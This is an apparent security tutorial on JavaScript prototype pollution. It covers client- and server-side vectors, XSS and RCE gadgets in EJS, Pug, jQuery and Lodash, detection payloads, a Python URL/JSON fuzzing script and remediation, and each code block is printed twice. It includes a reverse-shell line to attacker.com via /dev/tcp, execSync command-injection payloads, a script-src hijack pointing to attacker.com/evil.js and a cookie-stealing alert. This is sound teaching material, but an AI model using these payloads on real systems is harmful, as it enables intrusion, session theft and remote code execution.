Prototype Pollution Attacks
Prototype pollution allows attackers to modify JavaScript's Object.prototype, affecting all objects in the application. This can lead to XSS, RCE, and logic bypasses.
Information
📚 Quick Navigation
JavaScript Prototype Chain
In JavaScript, objects inherit properties from their prototype. If an attacker can modify Object.prototype, those properties become available on ALL objects in the application.
// JavaScript Prototype Chain Basics
// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!
// Two ways to access prototype:
obj.__proto__ // Legacy, still widely supported
Object.getPrototypeOf(obj) // Modern, safer
// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true
// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input: {"__proto__": {"admin": true}}
// Result: All objects now have admin=true// JavaScript Prototype Chain Basics
// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!
// Two ways to access prototype:
obj.__proto__ // Legacy, still widely supported
Object.getPrototypeOf(obj) // Modern, safer
// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true
// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input: {"__proto__": {"admin": true}}
// Result: All objects now have admin=truePollution Entry Points
__proto__
Direct prototype access. Most common pollution vector.
constructor.prototype
Access via constructor property chain.
Object.prototype
Direct modification if accessible.
Client-Side Prototype Pollution
Client-side pollution typically occurs through URL parameters, hash fragments, or JSON data that gets merged into configuration objects.
// Client-Side Prototype Pollution
// Vulnerable merge function (common pattern)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (typeof target[key] !== 'object') {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true
// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});
// Now Object.prototype.admin = true
// Check in console: {}.admin === true
// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functions// Client-Side Prototype Pollution
// Vulnerable merge function (common pattern)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (typeof target[key] !== 'object') {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true
// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});
// Now Object.prototype.admin = true
// Check in console: {}.admin === true
// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functionsWarning
Finding Pollution Gadgets
// Finding Prototype Pollution Gadgets
// A "gadget" is code that uses polluted properties in dangerous ways
// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";
// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!
// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);
// Attack:
Object.prototype.code = "alert(document.cookie)";
// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';
// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";
// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);
// Attack:
Object.prototype.url = "https://attacker.com/steal";
// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinks// Finding Prototype Pollution Gadgets
// A "gadget" is code that uses polluted properties in dangerous ways
// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";
// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!
// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);
// Attack:
Object.prototype.code = "alert(document.cookie)";
// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';
// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";
// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);
// Attack:
Object.prototype.url = "https://attacker.com/steal";
// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinksServer-Side Prototype Pollution (Node.js)
Server-side pollution is far more dangerous, potentially leading to remote code execution via template engines, child processes, or other Node.js internals.
// Server-Side Prototype Pollution (Node.js)
// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}
// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true
// Attack Example 1: Authorization Bypass
function isAdmin(user) {
return user.admin === true; // Checks own property AND prototype!
}
// After pollution:
isAdmin({}) // true! Empty object now has admin
// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = {
BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};
const { exec } = require('child_process');
exec('echo hello'); // Uses polluted options -> RCE
// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";
// When EJS renders a template, it uses the polluted property
res.render('index', {}); // RCE!
// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};// Server-Side Prototype Pollution (Node.js)
// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}
// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true
// Attack Example 1: Authorization Bypass
function isAdmin(user) {
return user.admin === true; // Checks own property AND prototype!
}
// After pollution:
isAdmin({}) // true! Empty object now has admin
// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = {
BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};
const { exec } = require('child_process');
exec('echo hello'); // Uses polluted options -> RCE
// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";
// When EJS renders a template, it uses the polluted property
res.render('index', {}); // RCE!
// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};Danger
Detection Payloads
# Prototype Pollution Detection Payloads
# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted
# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}
# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}
# Check if pollution worked (Browser Console):
console.log({}.polluted); // Should show "yes"
console.log(Object.prototype.polluted);
# Automated detection with ppfuzz
# https://github.com/nicloklmn/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"
# With ppmap (finds PP + gadgets)
# https://github.com/nicloklmn/ppmap
ppmap -u "https://target.com"# Prototype Pollution Detection Payloads
# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted
# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}
# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}
# Check if pollution worked (Browser Console):
console.log({}.polluted); // Should show "yes"
console.log(Object.prototype.polluted);
# Automated detection with ppfuzz
# https://github.com/nicloklmn/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"
# With ppmap (finds PP + gadgets)
# https://github.com/nicloklmn/ppmap
ppmap -u "https://target.com"Prototype Pollution to XSS
// Prototype Pollution to XSS Gadget Examples
// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = {
handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers
// 2. Vue.js gadget
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this
// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL
// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function
// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!
// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS
// Finding more gadgets with ppmap:
// https://github.com/nicloklmn/ppmap
// Automatically finds pollution sources and matching gadgets// Prototype Pollution to XSS Gadget Examples
// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = {
handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers
// 2. Vue.js gadget
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this
// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL
// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function
// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!
// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS
// Finding more gadgets with ppmap:
// https://github.com/nicloklmn/ppmap
// Automatically finds pollution sources and matching gadgetsAutomated Testing Script
#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""
import requests
import json
import urllib.parse
import sys
def test_json_pollution(url, method='POST'):
"""Test JSON body pollution"""
payloads = [
{"__proto__": {"polluted": "yes"}},
{"constructor": {"prototype": {"polluted": "yes"}}},
{"__proto__": {"toString": "polluted"}},
]
for payload in payloads:
try:
if method == 'POST':
r = requests.post(
url,
json=payload,
headers={'Content-Type': 'application/json'}
)
else:
r = requests.put(url, json=payload)
# Check for pollution indicators in response
if 'polluted' in r.text or r.status_code == 500:
print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
print(f" Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
def test_url_pollution(url):
"""Test URL parameter pollution"""
payloads = [
"__proto__[polluted]=yes",
"__proto__.polluted=yes",
"constructor[prototype][polluted]=yes",
"constructor.prototype.polluted=yes",
]
sep = '&' if '?' in url else '?'
for payload in payloads:
test_url = f"{url}{sep}{payload}"
try:
r = requests.get(test_url)
if 'polluted' in r.text:
print(f"[POTENTIAL] URL pollution: {test_url}")
except Exception as e:
print(f"Error: {e}")
def test_fragment_pollution(base_url):
"""Generate fragment pollution URLs for manual testing"""
payloads = [
"#__proto__[polluted]=yes",
"#__proto__.polluted=yes",
"#constructor[prototype][polluted]=yes",
]
print("\n[INFO] Test these URLs manually in browser:")
for payload in payloads:
print(f" {base_url}{payload}")
print("\n Then check console: {}.polluted")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
sys.exit(1)
url = sys.argv[1]
print("=== Prototype Pollution Testing ===\n")
print("[*] Testing JSON body pollution...")
test_json_pollution(url)
print("\n[*] Testing URL parameter pollution...")
test_url_pollution(url)
print("\n[*] Fragment-based payloads (client-side):")
test_fragment_pollution(url.split('?')[0])#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""
import requests
import json
import urllib.parse
import sys
def test_json_pollution(url, method='POST'):
"""Test JSON body pollution"""
payloads = [
{"__proto__": {"polluted": "yes"}},
{"constructor": {"prototype": {"polluted": "yes"}}},
{"__proto__": {"toString": "polluted"}},
]
for payload in payloads:
try:
if method == 'POST':
r = requests.post(
url,
json=payload,
headers={'Content-Type': 'application/json'}
)
else:
r = requests.put(url, json=payload)
# Check for pollution indicators in response
if 'polluted' in r.text or r.status_code == 500:
print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
print(f" Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
def test_url_pollution(url):
"""Test URL parameter pollution"""
payloads = [
"__proto__[polluted]=yes",
"__proto__.polluted=yes",
"constructor[prototype][polluted]=yes",
"constructor.prototype.polluted=yes",
]
sep = '&' if '?' in url else '?'
for payload in payloads:
test_url = f"{url}{sep}{payload}"
try:
r = requests.get(test_url)
if 'polluted' in r.text:
print(f"[POTENTIAL] URL pollution: {test_url}")
except Exception as e:
print(f"Error: {e}")
def test_fragment_pollution(base_url):
"""Generate fragment pollution URLs for manual testing"""
payloads = [
"#__proto__[polluted]=yes",
"#__proto__.polluted=yes",
"#constructor[prototype][polluted]=yes",
]
print("\n[INFO] Test these URLs manually in browser:")
for payload in payloads:
print(f" {base_url}{payload}")
print("\n Then check console: {}.polluted")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
sys.exit(1)
url = sys.argv[1]
print("=== Prototype Pollution Testing ===\n")
print("[*] Testing JSON body pollution...")
test_json_pollution(url)
print("\n[*] Testing URL parameter pollution...")
test_url_pollution(url)
print("\n[*] Fragment-based payloads (client-side):")
test_fragment_pollution(url.split('?')[0])Testing Tools
DOM Invader (Burp)
Automatically detects PP sources and gadgets during browsing.
Built into Burp Suite ppmap
Scans for pollution sources and matching gadgets.
github.com/nicloklmn/ppmap ppfuzz
Fast fuzzer for finding PP entry points.
github.com/nicloklmn/ppfuzz Client-Side Prototype Pollution
Chrome extension to detect pollution in real-time.
Chrome Web Store Remediation
// Prototype Pollution Remediation
// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null); // No prototype!
safeObj.__proto__ = "attack"; // Just a regular property
// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true; // Silently fails in strict mode
// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe'); // No pollution
// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
target[key] = source[key];
}
return target;
}
// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) { // Only checks own property
// Safe - won't be true from prototype
}
// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully
// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
age: { type: 'number' }
},
additionalProperties: false // Reject unknown keys
};// Prototype Pollution Remediation
// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null); // No prototype!
safeObj.__proto__ = "attack"; // Just a regular property
// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true; // Silently fails in strict mode
// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe'); // No pollution
// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
target[key] = source[key];
}
return target;
}
// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) { // Only checks own property
// Safe - won't be true from prototype
}
// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully
// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
age: { type: 'number' }
},
additionalProperties: false // Reject unknown keys
};Practice Labs
PortSwigger PP Labs
Comprehensive prototype pollution challenges
PP Gadgets Database
Collection of known pollution gadgets
S1r1us PP Research
In-depth prototype pollution research
HackerOne Report Example
Real-world prototype pollution disclosure
Testing Checklist
🔍 Source Detection
- ☐ Test URL query parameters
- ☐ Test URL hash/fragment
- ☐ Test JSON POST body
- ☐ Test form data
- ☐ Look for merge/extend functions
⚡ Gadget Hunting
- ☐ Use DOM Invader
- ☐ Check for innerHTML sinks
- ☐ Check for eval/Function sinks
- ☐ Check script.src assignments
- ☐ Review JS libraries for known gadgets
🖥️ Server-Side
- ☐ Test body-parser pollution
- ☐ Check template engines (EJS, Pug)
- ☐ Test for authorization bypass
- ☐ Look for child_process gadgets
- ☐ Test with constructor.prototype
📝 Payloads
- ☐ __proto__[key]=value
- ☐ __proto__.key=value
- ☐ constructor[prototype][key]
- ☐ Nested object pollution
- ☐ Test both JSON and URL encoding